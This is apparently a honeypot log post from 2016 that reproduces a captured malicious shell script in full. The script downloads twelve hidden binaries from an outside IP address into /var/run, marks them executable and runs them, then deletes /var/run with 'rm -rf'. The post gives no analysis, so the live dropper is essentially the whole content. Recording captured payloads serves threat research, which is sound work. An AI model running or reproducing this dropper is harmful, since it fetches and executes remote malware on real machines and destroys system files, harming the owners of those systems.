Honeypot Payload! Seen on: 2016-03-03 17:37

#!/bin/sh

wget -c http://149.202.175.167/.1 -P /var/run && chmod +x /var/run/.1 && /var/run/.1
wget -c http://149.202.175.167/.2 -P /var/run && chmod +x /var/run/.2 && /var/run/.2
wget -c http://149.202.175.167/.3 -P /var/run && chmod +x /var/run/.3 && /var/run/.3
wget -c http://149.202.175.167/.4 -P /var/run && chmod +x /var/run/.4 && /var/run/.4
wget -c http://149.202.175.167/.5 -P /var/run && chmod +x /var/run/.5 && /var/run/.5
wget -c http://149.202.175.167/.6 -P /var/run && chmod +x /var/run/.6 && /var/run/.6
wget -c http://149.202.175.167/.7 -P /var/run && chmod +x /var/run/.7 && /var/run/.7
wget -c http://149.202.175.167/.8 -P /var/run && chmod +x /var/run/.8 && /var/run/.8
wget -c http://149.202.175.167/.9 -P /var/run && chmod +x /var/run/.9 && /var/run/.9
wget -c http://149.202.175.167/.10 -P /var/run && chmod +x /var/run/.10 && /var/run/.10
wget -c http://149.202.175.167/.11 -P /var/run && chmod +x /var/run/.11 && /var/run/.11
wget -c http://149.202.175.167/.12 -P /var/run && chmod +x /var/run/.12 && /var/run/.12

sleep 3;
rm -rf /var/run/ .1 .2 .3 .4 .5 .6 .7 .8 .9 .10 .11 .12